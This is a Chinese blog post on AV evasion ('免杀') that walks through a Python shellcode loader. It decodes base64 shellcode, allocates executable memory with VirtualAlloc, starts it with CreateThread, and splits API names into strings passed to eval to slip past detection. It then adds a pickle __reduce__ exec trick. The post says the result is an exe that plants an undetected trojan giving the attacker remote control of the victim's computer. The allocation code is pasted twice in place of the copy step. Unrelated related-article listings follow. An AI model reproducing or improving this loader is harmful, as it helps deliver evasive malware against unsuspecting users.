多年的实战经验,告诉你的免杀实录!

简介: 多年的实战经验,告诉你的免杀实录!

生成shellcode加载器,不论什么语言都能实现。从应用最广的Java和Pytho语言选择,我用Python实现shellcode加载器,原因2点:

      (1)Java开发shellcode加载器,最终打成.exe包远远大于Python,谁愿意下载一个几十M的文件呢?(2)因为自己有一定的Python基础,所以这里对Python实现的源码来进行分析。



一、首先我们生成一个Python的马,如下图:

二、对Python生成shellcode源码分析

1. Ctypes

由于Python不能对内存进行操作,可以用ctypes跟c进行交互,用c操作内存

import ctypes,codecs,base64

# 64位编码

shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj"
# base64解码
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

2. 申请内存

  1. ctypes 是Python跟c交互的外部函数,用c分配内存,需要把数据转换为c的数据类型
  2. 参数:要分配的内存区域的地址、分配的大小、分配的类型、该内存的初始保护属性
  3. VirtualAlloc:分配大块内存,可用于 进程A和进程B之间通过共享内存来通信
  4. 该函数一个特性:可以预定指针地址和大小的虚拟内存空间,如果系统有足够大的空置区域能满足需求,则系统会将该块区域预定下来并返回预定内存的基地址,否则返回NULL
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

3. 放入shellcode

  1. 指定内存复制内存至buf里面
  2. 参数:指向移动目的地址的指针、指向要复制的内存地址的指针、指定要复制的字节数
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

4.创建一个线程

  1. 参数说明:指向安全属性的指针、初始堆栈大小、指向起始地址的指针、指向任何参数的指针、创建标志、指向接收线程标识符的值的指针
  2. 调用时,系统将创建一个进程和一个主线程,CreateThread将在主线程的基础上创建一个新线程
d = 'ctypes.windll.kernel32.' + 'CreateThread'
ht = eval(d)(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

5. 等待上面创建的线程运行完

e = 'ctypes.windll.kernel32.WaitFor' + 'SingleObject'
eval(e)(ctypes.c_int(ht),ctypes.c_int(-1))

6. 调用

class A(object):
  def __reduce__(self):
      return (exec, (shellcode,))
__reduce__ 被定义之后,对象被pickle之后被调用
ret = pickle.dumps(A())
print(ret)
pickle.loads(ret)

7. 最终达到目的

最后生成exe可执行文件

用户直接 执行exe,便种下一个免杀木马,攻击者便可以远控你的电脑

8. 最后测试木马免杀效果

9. 然后给沙箱

相关文章
510特辑 | 读懂阿里日,也就读懂了阿里
510特辑 | 读懂阿里日,也就读懂了阿里
416 0
mqc
|
缓存 安全 Java
测试之道--阿里巴巴八年测试专家倾情奉献
我从事测试工作将近八年了,从起初的不懂测试,怀疑测试,到相信测试,再到坚定测试,其中经历的辛酸、煎熬无法言表。在从事测试工作的这八年里,有人质疑,也有人追捧,唇枪舌剑,没完没了,貌似测试永远都是个站在舆论风口浪尖的角色。
mqc
7808 0
|
5月前
|
监控 架构师 程序员
阿里技术专家撰写程序员“不迷茫”职业路指南,切中痛点规划未来
我一直都是一个“笨孩子”,但我不以笨为耻。小学三年级时要写一篇关于柑橘树的作文,那时自己肚子没货、下笔万难,父亲知道后教了我两招:是从 整体到局部观察事物;二是阅读,看看别人是怎样写的。
|
机器学习/深度学习 人工智能 运维
历时2个月,深访6位大咖,我们完成了这份AIOps指南
  2021年,业界对AIOps的关注和讨论可以说是达到了一个顶峰,许多国内外企业尝试落地AIOps的实践层出不穷。毋庸置疑,AIOps已是IT运维的大势所趋。可是想要坐上这趟飞驰的时代列车,必须掌握哪些要领?   为帮助大家解决心中疑虑,捋清技术风向及思路,我们精心准备了一次专访,采访了阿里-柳明、新浪微博-彭冬、奇虎360-籍鑫璞、携程-徐新龙、新炬网络-宋辉、平安科技-汪洋等6位AIOps领域的先行探索者。   本系列文章将会汇集他们的研究心得与实践经验,解答目前业界对AIOps普遍存在的认知误区及疑惑难点,助力国内AIOps的建设和落地。本文为上篇,从大环境着眼,详析AIOps的现
604 0
|
云安全 监控 安全
不容错过的技术盛宴,4场全是 eBPF 技术干货,明天见 | 第 44-47 期
明天下午2点,由eBPF 技术探索 SIG引领者、国内最早 Linux 操作系统奠基人陈莉君教授及其SIG核心成员共同探讨 eBPF 的技术和发展及本 SIG 的目标和规划。
不容错过的技术盛宴,4场全是 eBPF 技术干货,明天见 | 第 44-47 期
|
监控 前端开发 Cloud Native
第十六届 D2 前端技术论坛完成 6 大专场 21 个话题集结,快来划重点,你一定会有所收获!
一年一度的前端盛会D2前端技术论坛就要来啦,话题集结完成,快来报名学习吧!
1545 0
第十六届 D2 前端技术论坛完成 6 大专场 21 个话题集结,快来划重点,你一定会有所收获!
|
搜索推荐 自然语言处理 开发者
云栖硬核回顾|企查查搜索引擎演进之路
企查查作为企业征信行业的搜索引擎,一直以来都与阿里云开放搜索团队有深度合作。本次朱总独家揭秘,开放搜索陪伴企查查从创业初期到成为企业征信行业的独角兽的过程中,是如何满足企查查产品海量数据的精准搜索需求的。
8340 0
|
新零售 Java 应用服务中间件
毕玄:我在阿里的十年技术感悟
在阿里,我们习惯尊称毕玄老师为“毕大师”。他2007年加入阿里,一手打造了HSF,十多年来更见证、参与了阿里在基础技术上的演进与发展:如淘宝在2007-2009年的分布式应用架构升级、2013-2016年的阿里电商异地多活架构升级等。但很少有人知道,他大学读的是生物专业。
12802 0